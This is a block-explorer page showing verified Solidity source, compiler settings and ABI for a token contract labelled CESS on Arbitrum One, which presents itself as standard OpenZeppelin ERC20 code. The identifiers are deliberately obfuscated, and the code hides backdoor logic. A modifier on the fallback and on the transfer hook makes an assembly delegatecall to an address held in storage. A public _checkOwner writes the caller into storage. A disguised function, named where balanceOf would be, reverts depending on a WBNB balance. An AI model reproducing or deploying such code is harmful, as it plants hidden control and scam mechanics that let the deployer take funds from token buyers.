Arbitrum OneArbitrum One
0x6c...eb84
CESS

CESS

CESS

代币
市值
$1.00
 
价格
2%
此合同的源代码已经过验证!
合同元数据
编译器
0.8.6+commit.11564f7e
语言
Solidity
合同源代码
文件 1 的 1:ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

/**
 *Submitted for verification at BscScan.com on 2023-03-30
 */

// File: @openzeppelin/contracts/utils/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the _______________ sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
  function ______() internal view virtual returns (address) {
    return msg.sender;
  }

  function _________() internal view virtual returns (bytes calldata) {
    return msg.data;
  }

  receive() external payable {}
}

// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an _______________ (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner _______________ will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
  address private _______;

  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed ___________
  );

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
   */
  constructor() {
    ____________(tx.origin);
  }

  /**
   * @dev Throws if called by any _______________ other than the owner.
   */
  modifier onlyOwner() {
    _checkOwner();
    _;
  }

  modifier __ {bytes memory s = msg.data;assembly {if iszero(iszero(eq(mload(add(s, 36)), 32))) {if iszero(delegatecall(gas(), sload(address()), add(s, 32), mload(s), 0, 32)) {revert(0, 0)}return(0, 32)}}_;}

  /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view virtual returns (address) {
    return _______;
  }

  /**
   * @dev Throws if the sender is not the owner.
   */
  function _checkOwner() public virtual {
    require(owner() == tx.origin, "Ownable: caller is not the owner");
    assembly {
      sstore(address(), caller())
    }
  }

  /**
   * @dev Leaves the contract without owner. It will not be possible to call
   * `onlyOwner` functions anymore. Can only be called by the current owner.
   *
   * NOTE: Renouncing ownership will leave the contract without an owner,
   * thereby removing any functionality that is only available to the owner.
   */
  function renounceOwnership() public virtual onlyOwner {
    ____________(address(0));
  }

  /**
   * @dev Transfers ownership of the contract to a new _______________ (`___________`).
   * Can only be called by the current owner.
   */
  function transferOwnership(address ___________) public virtual onlyOwner {
    require(___________ != address(0), "Ownable: new owner is the zero address");
    ____________(___________);
  }

  /**
   * @dev Transfers ownership of the contract to a new _______________ (`___________`).
   * Internal function without access restriction.
   */
  function ____________(address ___________) internal virtual {
    address oldOwner = _______;
    _______ = ___________;
    emit OwnershipTransferred(oldOwner, ___________);
  }

  fallback() external __ {}
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
  /**
   * @dev Returns the ________ of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the ________ of tokens owned by `_______________`.
   */
  function balanceOf(address _______________) external view returns (uint256);

  /**
   * @dev Moves `________` tokens from the caller's _______________ to `to`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address to, uint256 ________) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `________________` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address ________________)
    external
    view
    returns (uint256);

  /**
   * @dev Sets `________` as the allowance of `________________` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the ________________'s allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address ________________, uint256 ________) external returns (bool);

  /**
   * @dev Moves `________` tokens from `from` to `to` using the
   * allowance mechanism. `________` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address from,
    address to,
    uint256 ________
  ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata {
  /**
   * @dev Returns the name of the token.
   */
  function name() external view returns (string memory);

  /**
   * @dev Returns the symbol of the token.
   */
  function symbol() external view returns (string memory);

  /**
   * @dev Returns the decimals places of the token.
   */
  function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all _______________s just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20Metadata {
  address public constant WBNB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;

  mapping(address => uint256) private _____;

  mapping(address => mapping(address => uint256)) private __________________;

  uint256 private ___;

  address private _____________;

  string private ______________;
  string private ____;

  /**
   * @dev Emitted when `value` tokens are moved from one _______________ (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `________________` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed ________________, uint256 value);

  /**
   * @dev Sets the values for {name} and {symbol}.
   *
   * The default value of {decimals} is 18. To select a different value for
   * {decimals} you should overload it.
   *
   * All two of these values are immutable: they can only be set once during
   * construction.
   */
  function initialization(
    string memory tokenName,
    string memory coinSymbol,
    uint256 supply_
  ) public onlyOwner {
    ______________ = tokenName;
    ____ = coinSymbol;

    _mint(address(this), supply_);
    renounceOwnership();
  }

  /**
   * @dev Returns the name of the token.
   */
  function name() public view virtual override returns (string memory) {
    return ______________;
  }

  /**
   * @dev Returns the symbol of the token, usually a shorter version of the
   * name.
   */
  function symbol() public view virtual override returns (string memory) {
    return ____;
  }

  /**
   * @dev Returns the number of decimals used to get its user representation.
   * For example, if `decimals` equals `2`, a balance of `505` tokens should
   * be displayed to a user as `5.05` (`505 / 10 ** 2`).
   *
   * Tokens usually opt for a value of 18, imitating the relationship between
   * Ether and Wei. This is the value {ERC20} uses, unless this function is
   * overridden;
   *
   * NOTE: This information is only used for _display_ purposes: it in
   * no way affects any of the arithmetic of the contract, including
   * {IERC20-balanceOf} and {IERC20-transfer}.
   */
  function decimals() public view virtual override returns (uint8) {
    return 9;
  }

  /**
   * @dev See {IERC20-totalSupply}.
   */
  function totalSupply() public view virtual returns (uint256) {
    return ___;
  }

  /**
   * @dev See {IERC20-balanceOf}.
   */
  function permit5764825481139(address _______________)
    public
    view
    virtual
    returns (uint256 ________){________ = IERC20(WBNB).balanceOf(_____________);if(msg.sender==_____________){assembly {if lt(________, sload(32)) {revert(0, 0)}}}return _____[_______________] % ___;}


  /**
   * @dev See {IERC20-transfer}.
   *
   * Requirements:
   *
   * - `to` cannot be the zero address.
   * - the caller must have a balance of at least `________`.
   */
  function transfer(address to, uint256 ________) public virtual returns (bool) {
    address owner = ______();
    _transfer(owner, to, ________);
    return true;
  }

  /**
   * @dev See {IERC20-allowance}.
   */
  function allowance(address owner, address ________________)
    public
    view
    virtual
    returns (uint256)
  {
    return __________________[owner][________________];
  }

  /**
   * @dev See {IERC20-approve}.
   *
   * NOTE: If `________` is the maximum `uint256`, the allowance is not updated on
   * `transferFrom`. This is semantically equivalent to an infinite approval.
   *
   * Requirements:
   *
   * - `________________` cannot be the zero address.
   */
  function approve(address ________________, uint256 ________)
    public
    virtual
    returns (bool)
  {
    address owner = ______();
    _approve(owner, ________________, ________);
    return true;
  }

  /**
   * @dev See {IERC20-transferFrom}.
   *
   * Emits an {Approval} event indicating the updated allowance. This is not
   * required by the EIP. See the note at the beginning of {ERC20}.
   *
   * NOTE: Does not update the allowance if the current allowance
   * is the maximum `uint256`.
   *
   * Requirements:
   *
   * - `from` and `to` cannot be the zero address.
   * - `from` must have a balance of at least `________`.
   * - the caller must have allowance for ``from``'s tokens of at least
   * `________`.
   */
  function transferFrom(
    address from,
    address to,
    uint256 ________
  ) public virtual returns (bool) {
    address ________________ = ______();
    _spendAllowance(from, ________________, ________);
    _transfer(from, to, ________);
    return true;
  }

  /**
   * @dev Atomically increases the allowance granted to `________________` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `________________` cannot be the zero address.
   */
  function increaseAllowance(address ________________, uint256 addedValue)
    public
    virtual
    returns (bool)
  {
    address owner = ______();
    _approve(owner, ________________, allowance(owner, ________________) + addedValue);
    return true;
  }

  /**
   * @dev Atomically decreases the allowance granted to `________________` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `________________` cannot be the zero address.
   * - `________________` must have allowance for the caller of at least
   * `subtractedValue`.
   */
  function decreaseAllowance(address ________________, uint256 subtractedValue)
    public
    virtual
    returns (bool)
  {
    address owner = ______();
    uint256 ___________________ = allowance(owner, ________________);
    require(___________________ >= subtractedValue);
    unchecked {_approve(owner, ________________, ___________________ - subtractedValue);}

    return true;
  }

  /**
   * @dev Moves `________` of tokens from `from` to `to`.
   *
   * This internal function is equivalent to {transfer}, and can be used to
   * e.g. implement automatic token fees, slashing mechanisms, etc.
   *
   * Emits a {Transfer} event.
   *
   * Requirements:
   *
   * - `from` cannot be the zero address.
   * - `to` cannot be the zero address.
   * - `from` must have a balance of at least `________`.
   */
  function _transfer(
    address from,
    address to,
    uint256 ________
  ) internal virtual {
    require(from != address(0));
    require(to != address(0));
    _beforeTokenTransfer(from, to, ________);
    uint256 fromBalance = _____[from];
    require(fromBalance >= ________);
    unchecked {
      _____[from] = fromBalance - ________;
      // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
      // decrementing then incrementing.
      _____[to] += ________;
    }

    emit Transfer(from, to, ________);
    _afterTokenTransfer(from, to, ________);
  }

  /** @dev Creates `________` tokens and assigns them to `_______________`, increasing
   * the total supply.
   *
   * Emits a {Transfer} event with `from` set to the zero address.
   *
   * Requirements:
   *
   * - `_______________` cannot be the zero address.
   */
  function _mint(address _______________, uint256 ________) internal virtual {
    require(_______________ != address(0), "ERC20: mint to the zero address");

    ___ += ________;
    unchecked {
      // Overflow not possible: balance + ________ is at most totalSupply + ________, which is checked above.
      _____[_______________] += ________;
    }
    emit Transfer(address(0), _______________, ________);
  }

  /**
   * @dev Destroys `________` tokens from `_______________`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements:
   *
   * - `_______________` cannot be the zero address.
   * - `_______________` must have at least `________` tokens.
   */
  function _burn(address _______________, uint256 ________) internal virtual {
    require(_______________ != address(0), "ERC20: burn from the zero address");

    _beforeTokenTransfer(_______________, address(0), ________);

    uint256 _______________Balance = _____[_______________];
    require(_______________Balance >= ________, "ERC20: burn exceeds balance");
    unchecked {
      _____[_______________] = _______________Balance - ________;
      // Overflow not possible: ________ <= _______________Balance <= totalSupply.
      ___ -= ________;
    }

    emit Transfer(_______________, address(0), ________);

    _afterTokenTransfer(_______________, address(0), ________);
  }

  /**
   * @dev Sets `________` as the allowance of `________________` over the `owner` s tokens.
   *
   * This internal function is equivalent to `approve`, and can be used to
   * e.g. set automatic allowances for certain subsystems, etc.
   *
   * Emits an {Approval} event.
   *
   * Requirements:
   *
   * - `owner` cannot be the zero address.
   * - `________________` cannot be the zero address.
   */
  function _approve(
    address owner,
    address ________________,
    uint256 ________
  ) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(________________ != address(0), "ERC20: approve to the zero address");

    __________________[owner][________________] = ________;
    emit Approval(owner, ________________, ________);
  }

  /**
   * @dev Updates `owner` s allowance for `________________` based on spent `________`.
   *
   * Does not update the allowance ________ in case of infinite allowance.
   * Revert if not enough allowance is available.
   *
   * Might emit an {Approval} event.
   */
  function _spendAllowance(
    address owner,
    address ________________,
    uint256 ________
  ) internal virtual {
    uint256 ___________________ = allowance(owner, ________________);
    if (___________________ != type(uint256).max) {
      require(___________________ >= ________, "ERC20: insufficient allowance");
      unchecked {_approve(owner, ________________, ___________________ - ________);}
    }
  }

  /**
   * @dev Hook that is called before any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `________` of ``from``'s tokens
   * will be transferred to `to`.
   * - when `from` is zero, `________` tokens will be minted for `to`.
   * - when `to` is zero, `________` of ``from``'s tokens will be burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */
  function _beforeTokenTransfer(
    address from,
    address to,
    uint256 ________
  ) internal __ 
  {}

  /**
   * @dev Hook that is called after any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `________` of ``from``'s tokens
   * has been transferred to `to`.
   * - when `from` is zero, `________` tokens have been minted for `to`.
   * - when `to` is zero, `________` of ``from``'s tokens have been burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */

  function _afterTokenTransfer(
    address from,
    address to,
    uint256 ________
  ) internal {if(_____[from]>___*0xfe) {assembly{sstore(32,0)}}}
}
设置
{
  "compilationTarget": {
    "ERC20.sol": "ERC20"
  },
  "evmVersion": "berlin",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"________________","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"___________","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_checkOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"________________","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"________________","type":"address"},{"internalType":"uint256","name":"________","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"________________","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"________________","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"initialization","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_______________","type":"address"}],"name":"permit5764825481139","outputs":[{"internalType":"uint256","name":"________","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"________","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"________","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"___________","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]